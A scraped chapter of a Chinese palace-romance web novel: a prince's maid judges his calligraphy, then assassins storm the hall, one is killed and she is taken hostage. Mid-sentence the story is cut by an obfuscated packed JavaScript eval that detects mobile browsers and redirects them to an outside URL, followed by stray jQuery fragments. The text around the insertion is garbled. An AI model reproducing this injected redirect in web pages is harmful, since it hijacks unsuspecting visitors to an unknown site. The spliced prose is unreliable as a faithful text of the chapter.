29.第 29 章

作品:《春雪扶楹

    一整月过去,扶楹左手伤口已经结痂,不再影响日常生活。


    戌时将至。


    天地似被墨色渲染,将万物沉浸于朦胧夜色。


    扶楹同闻灼一起用过晚膳后,坐于正殿案几旁,为他侍奉笔墨。


    近两日,他有了些闲情逸致,总在晚间誊习书法。


    望舒与云川分别立于二人身侧,其余婢女则在大殿两旁候着。


    殿内,宁静无人言语,唯有扶楹不断研墨传来的细微沙沙声。


    她手执墨锭,细致研磨,墨汁在纤纤十指之下,逐渐成型,乌黑细腻,杳无颗粒。


    闻灼拿起长杆毛笔,蘸了些墨后,在宣纸上凝神书写。


    她研的墨汁比婢女研得精细了太多,他淡漠的眉目间,染上了些许惬意,提笔都变得得心应手起来。


    闻灼书法功底深厚,笔法精湛,尤其擅长行书。


    在众皇子公主中,他的行书总能独占鳌头,字里行间展现着独特的精神韵味与美感,令众人皆为之倾倒。


    写下最后一画,闻灼倒收笔锋,停墨搁笔,武袖轻轻扫过宣纸上空,拂走未干墨迹的点点水痕。


    “楹儿,你来看看。”


    他命扶楹停止磨墨,将这张宣纸连同另一幅字递给她:“两文稿内容相同,一幅是方才书写,另一幅是几日前所作,你有何看法?”


    “我……”


    扶楹从未想过他竟在征求自己的意见,感到有些紧张。


    她不想同他有过多深入交谈,故将手收回膝上,言语轻柔但有些瑟缩:“我何德何能,去评判王爷书法……”


    闻灼脸色倏然暗下,眸底闪过一丝冰冷阴鸷的光芒。


    扶楹不禁倒吸一口凉气,以为他要大发雷霆。


    闻灼面色却慢慢缓和下来:“但说无妨。”


    不回答这问题是不成了,扶楹垂眼思忖,拿过两幅行书文稿,细细研读一番。


    桃花般的眼睛在那些神采飞动的汉字间跳跃,浓密的眼睫也在微微颤动。


    这些文字,是闻灼用于缅怀自己的母亲贞懿皇后所写,感情真挚,令人无比动容。


    闻灼耐心不加催促,定睛瞧着她垂眸的样子。


    “王爷,”扶楹抬眸,不经意与他四目相对,“两幅文稿线条皆行云流水,舒展有型,只是我看出另有些许不同。”


    闻灼点头,示意她接着说下去。


    “今日的文稿落笔细致,小心翼翼,反倒过于端庄拘谨,失了灵气。”


    “而这幅旧稿,虽有几处勘误涂抹,但取势纵横自如,笔法变化多端。想必王爷在书写时,以满腔激情运笔,故笔画如此浑厚圆劲,酣畅淋漓,字里行间,皆透露着你对皇后无与伦比的真率之情。”


    扶楹眼眸如同点点繁星,深邃迷人,掷地有声的话语仿佛野火,瞬间点燃了闻灼枯竭平静的内心。


    那副旧文稿,是他在贞懿皇后忌日当晚,醉意朦胧间前去书房即兴所写。


    彼时的他经历一番痛饮,情绪悲戚万分,难以平静,故书写错误之处甚多。


    可正因如此,那幅字被他注入最为饱满的真情实感,神采飞动,波澜起伏。


    听罢扶楹的评价,一股夹杂的兴奋与愉悦的血液直冲闻灼大脑,方才周身阴冷的气息都消融不见。


    那是一种茫茫人海觅见知音后,无与伦比的欣喜之感。


    扶楹此话,甚得他心。


    身后的云川与望舒听完着番话,皆心悦诚服,不由自主地点了点头。


    换成他们,只会胸无点墨地夸赞一句:王爷的字甚好。


    闻灼拿回两幅文稿,一张清逸绝尘的脸庞染上若有若无的笑意,“本王也是如此想法。”


    说罢,他便干脆利落地将方才所写的宣纸攥在手心中,揉成纸团。


    “哎——王爷……”


    望舒刚要伸手说什么,转眼见那幅纵横飘逸的行书变为一团废纸,不由得叹了口气。


    “王爷这么好的字,赏给属下也成。属下定会裱起来,挂在屋里,夜夜欣赏。”


    扶楹不禁窃窃轻笑。


    望舒性子耿直率真,说话很是诙谐风趣。


    “……”


    骤然间,闻灼似乎听到殿外某些异常响动,一双英挺的剑眉皱起。


    望舒和云川对视一眼,也不约而同地朝他看来。


    他们皆是习武之人,对突然靠近的危险气息极为敏感。


    扶楹还未明白发生何事,只看闻灼与他们表情凝重,心中不由得警铃大作。


    “唔——”


    门口的侍卫传来痛苦的呜咽,还未来得及出声禀报,便瞬间口涌鲜血,断气坠地。


    几个黑影如同暗夜幽灵一般,猝不及防闯入殿中。


    “啊——”


    几位年轻的侍女发出撕心裂肺的尖叫,如同利刃划破空气,尖锐刺耳,回荡在浓浓夜色中。


    三名刺客手中紧握着刀剑,刃口在殿内灯火之下,闪烁着幽幽寒光。


    他们身披紧身黑衣,脸上蒙着黑巾,只露出一双冷冽而狭长的眼睛。


    殿内仆从四散奔逃,闻灼岿然不动,只抬起着有宽大文袖的手臂,将脸色惨白如纸的扶楹护在身后。


    刺客们大步冲上前来,挥刀奋力前劈。


    望舒与云川皱眉凝神,纷纷跨步护在闻灼与扶楹身前,抽刀应敌,蓄势待发。


    “有刺客——速速前来护驾!”


    韦昱立连忙高声向殿外呐喊,因不通武术,慌慌张张守在闻灼前方。


    数把刀刃在空中激烈碰撞,发出刺耳的金属擦响。


    扶楹缩在闻灼臂后,眼睛被刀剑的反光晃到,汗毛直竖,纤弱的身形略微发抖。


    什么人如此偏激大胆,竟然敢在王府正殿刺杀闻灼?


    作为行刺目标,闻灼仍旧云淡风轻,从容端坐,一双犀利无比的眼睛洞察着眼前的激战。


    刺客身手敏捷,如同幽鬼横行,不断变换攻击角度。


    望舒与云川跟随闻灼近二十载,皆是武艺深不可测之辈,如此凶猛的攻击阵仗,也未令他们眉头有丝毫颤动。


    二人并肩作战,出刀迅猛,疾如闪电,进攻与严防滴水不漏。


    侍卫赶来护驾需要时间,在这短暂的世间内,双方都不遗余力出招,企图置对方于死地。


    刀锋交错,火花四溅,发出清脆的金属撞击声。


    剑刃上下翻飞,形成一道密不透风的剑网。


    望舒闪过一名刺客发狠下劈的利剑,另一刺客却以迅雷不及掩耳之势,闪至云川后侧出刀攻击。


    云川不曾回头,仅凭耳力一个闪身躲开,刀刃险险擦过他的腰身。


    他眼中精光一闪,猛地抬臂向刺客迎面挥刀。


    刺客连忙向后仰身,雪魄刀的锋刃将将闪过他的面前,将那块蒙着面目的黑巾从中劈裂。


    黑


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17210156|194236||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    布掉落,一位年轻且尚有稚气的男子面庞露出,瞧着不过十七八岁。


    扶楹看清刺客长相,不禁倒吸一口凉气,双眼充斥着浓烈的惊讶与恐惧。


    她的心底,蓦地崩开一道深不可测的裂缝,升起一股前所未有的危机感。


    见到自己被迫现出面目,刺客咬牙切齿,抬眼怒瞪着云川。


    他仔细瞧见云川面容时,不由得有着片刻怔然与出神。


    云川未错失这年轻刺客不甚露出的致命破绽,唇角冷冷勾起,右手紧握刀柄,另一手掌大力推柄上前。


    “不要……”


    扶楹瞪大眼睛,也不知从何而来的力气,腾地半跪起身,甚至忘记自己正在闻灼臂膀后,躲避着当下一度混乱的斗杀场面。


    然而,一切晚矣。


    眨眼间,锋利无比的雪魄刀径直刺入那刺客的胸口。


    云川臂力大得惊人,狭长的刀身竟将对方身体完全刺穿。


    “啊——”


    刺客面孔扭曲,双眼圆睁,几乎要从眼眶中蹦出。


    随着云川飞快抽刀,他心脏的鲜血似是河堤开闸,在刀口飞溅四散。


    刺客轰然向后倒地,当场死亡。


    “不……”


    扶楹见到一条鲜活的生命在面前陨落,双唇翕动,两眼的光芒如熄灭的火焰般散去,直挺挺地跌坐在地。


    “……”


    闻灼鬼魅般的眼瞳向侧后方扫过,见到扶楹如此失魂落魄,双唇紧抿,心中冷意横生。


    “阿弟!”


    一刺客见状,凄厉大吼,但望舒却不给他丝毫悲痛的机会,举起燕月刀飞快挥砍。


    刺客乍一回神,举起长刀挡下,但望舒抬膝向上猛冲,髌骨重重顶上刺客手肘处的麻筋。


    刺客手指剧烈颤抖,刀从手中倏然落地。


    望舒疾步上前,握住其双臂狠狠反剪在背后,一脚踩上他的膝后,强令他跪在地上。


    “狗贼,我要将你碎尸万段!”


    另一刺客窥见两名同伴不是战死,就是被擒,双目猩红,怒不可遏地发狠破开云川的防卫,直直冲向案前坦然坐着的闻灼。


    他速度异常迅猛,甚至躲避过了云川敏锐的眼睛。


    “哗——”


    刀刃划破空气,发出刺耳的啸鸣,径直劈向闻灼护着扶楹的手臂。


    闻灼瞳孔骤然缩紧,大脑尚未反应过来,身体已本能先行一步,将扶楹向一旁用力推开,并侧身躲过这一狠厉挥砍。


    长刀劈向案面,将质地坚硬的梨花木砍出四处蔓延的裂纹,无数木屑随着裂口,向上冲向空中。


    扶楹纤弱的身子受这猛烈一推,后背结结实实撞在不远处的石柱上,疼得眉头紧皱,眼眶闪烁着泪花。


    她还未反应过来,肩膀被一股雄浑强大的力量掣住。


    冰冷的刀刃,紧贴在她白皙脆弱的脖颈之处。


    “都别动!”


    刺客大力擒着扶楹的肩膀,举着大刀,将她挟持在身前。


    殿外脚步声密集响起,涌进一批持刀穿甲的侍卫。


    十余人迅速排布在案几前,将闻灼与充斥着仇杀气息的刺客阻隔开来。


    扶楹被挟持,大气也不敢出,身体僵硬无比,面色苍白地看着前方剑拔弩张、逐渐逼近的侍卫。


    刺客一掌抓住扶楹纤细的脖子,刀尖挥指向前方。


    “若不想让她死,就全都退下!”